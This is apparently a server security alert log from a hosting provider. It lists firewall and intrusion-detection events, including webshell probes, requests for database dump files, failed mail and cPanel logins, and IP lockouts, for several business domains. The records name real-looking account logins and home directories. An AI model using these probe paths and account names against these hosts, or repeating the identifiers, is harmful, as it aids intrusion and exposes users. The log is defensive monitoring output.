Jan 12 15:27:45 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.116.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/images/monthly-report.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.164.119.45
country_id: 1733045
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=30 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 15:27:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53070: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.186.196.87
country_id: 3469034
description:
Jan 12 15:28:00 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.186.196.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.56.219.22
country_id: 3469034
description:
Jan 12 15:27:26 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.56.219.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.186.196.87
country_id: 3469034
description:
Jan 12 15:28:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.186.196.87 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.95
country_id: 6252001
description:
2026-01-12 15:30:48 2456605 [Warning] Aborted connection 2456605 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.95' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 15:32:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35927: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 204.217.131.16
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/database.sql||User:workingmagsoftco||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.53.110.66
country_id: 1733045
description:
[2026-01-12 15:32:29 +0800] info [webmaild] 60.53.110.66 - muslihin@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.241
country_id: 3469034
description:
Jan 12 15:32:38 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 15:32:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35927: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.235.142.208
country_id: 6252001
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:pftfood||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 15:34:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37813: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 15:34:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37814: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.62.4.157
country_id: 6252001
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Multi L/Multi Purpose  L-1-80x80.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.62.4.157
country_id: 6252001
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/Products/Multi L/Multi Purpose  L-1-80x80.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.185.96.105
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=74651516583964 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.45.133.241
country_id: 357994
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=18691515044206 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.235.130.223
country_id: 2589581
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=17361516783572 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.191.118.187
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=74851515726086 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.68.204.156
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=65431515983477 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.235.56.149
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=48 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.227.73.235
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=16851528708423 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.0.13.68
country_id: 192950
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/league/flysystem/src/ReadInterface.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.196.105.67
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=85791516782865 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.96
country_id: 953987
description:
Jan 12 15:37:00 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.96 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.185.201.78
country_id: 248816
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=34251515569624 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.160.58.183
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=13021514882719 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.6.12.73
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=10971522898358 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.96
country_id: 953987
description:
Jan 12 15:37:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.96 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.236.102.22
country_id: 99237
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=58471515047227 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.183.96.220
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=65711515044116 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 15:39:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58044: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 15:39:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58044: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.116.152.50
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/open-barista.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.86.98.181
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/noisenorth/15/206/1594542 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.190.37.17
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=23981516863275 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.189
country_id: 3865483
description:
Jan 12 15:41:42 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.189 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.13.192.75
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=96991515046656 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.66
country_id: 3469034
description:
Jan 12 15:41:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.208
country_id: 2510769
description:
Jan 12 15:41:40 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.208 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.243.37.190
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=74&page=5 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.136.133.68
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=56 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.118.138
country_id: 3469034
description:
Jan 12 15:42:07 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.118.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.118.138
country_id: 3469034
description:
Jan 12 15:42:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.118.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 69.160.160.59
country_id: 6252001
domain: tujusetia.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.107 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.61.165.100
country_id: 3865483
description:
[2026-01-12 15:44:33 +0800] info [whostmgrd] 200.61.165.100 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.19.161
country_id: 1269750
description:
Jan 12 15:47:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.19.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.192.106.249
country_id: 3469034
description:
Jan 12 15:47:35 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.192.106.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.19.161
country_id: 1269750
description:
Jan 12 15:48:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.19.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/img/druma_photos/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/faq.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.5.15.102
country_id: 690791
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=791633 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.19.49.22
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/son/9/443/991831 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.134
country_id: 953987
description:
Jan 12 15:53:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.99
country_id: 1269750
description:
Jan 12 15:54:55 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 15:55:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51923: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-12 15:55:10 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 15:55:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51924: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.255.183.6
country_id: 3865483
description:
Jan 12 15:57:39 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.255.183.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.253
country_id: 3469034
description:
Jan 12 15:57:19 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.253 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 202.184.71.73
country_id: 1733045
description:
Jan 12 15:57:20 sv3 pure-ftpd[3210814]: (myfurnit@202.184.71.73) [NOTICE] /home/myfurnit//public_html/cstand1.html uploaded  (4084 bytes, 6483.75KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.9.65.106
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/news-detail9.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 15:58:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35935: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:00:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35935: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.235
country_id: 3469034
description:
Jan 12 16:00:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.134.254.233
country_id: 3469034
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/?page_id=6 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:02:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:38381: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:02:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:38381: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.207.96.148
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-02.185.207.96.148||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.221
country_id: 298795
description:
Jan 12 16:02:26 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.152.43
country_id: 99237
description:
Jan 12 16:02:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.152.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 16:03:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.77.199
country_id: 3469034
description:
Jan 12 16:03:32 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.77.199 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 80.71.152.136
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/magsoft.sql||User:workingmagsoftco||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 16:07:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58066: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.82
country_id: 1269750
description:
Jan 12 16:08:06 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 16:07:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58066: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.82
country_id: 1269750
description:
Jan 12 16:08:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.82 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.85.65.108
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=9 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.69.227.225
country_id: 290291
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/product.php?id=69&page=4 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.86.40.102
country_id: 831053
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/jquery-migrate.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.61.117.112
country_id: 587116
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/base/js/app.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.77.108.121
country_id: 3996063
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/base/js/scripts/reveal-animate/reveal-animate.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.4.108.219
country_id: 3865483
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/www.google-analytics.com/analytics.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.87.100
country_id: 1562822
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/jquery.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.246.118.24
country_id: 953987
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/base/js/components-shop.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.80.174.224
country_id: 3469034
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/fancybox/jquery.fancybox.pack.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.108.26.47
country_id: 690791
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/counterup/jquery.counterup.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.59.219.207
country_id: 3439705
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/bootstrap/js/bootstrap.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.37.91.177
country_id: 3865483
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/cubeportfolio/js/jquery.cubeportfolio.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.197.154.99
country_id: 1210997
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/slider-for-bootstrap/js/bootstrap-slider.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.205.113.98
country_id: 99237
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/counterup/jquery.waypoints.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.190.127.241
country_id: 3865483
domain: evergrown.com.my
description:
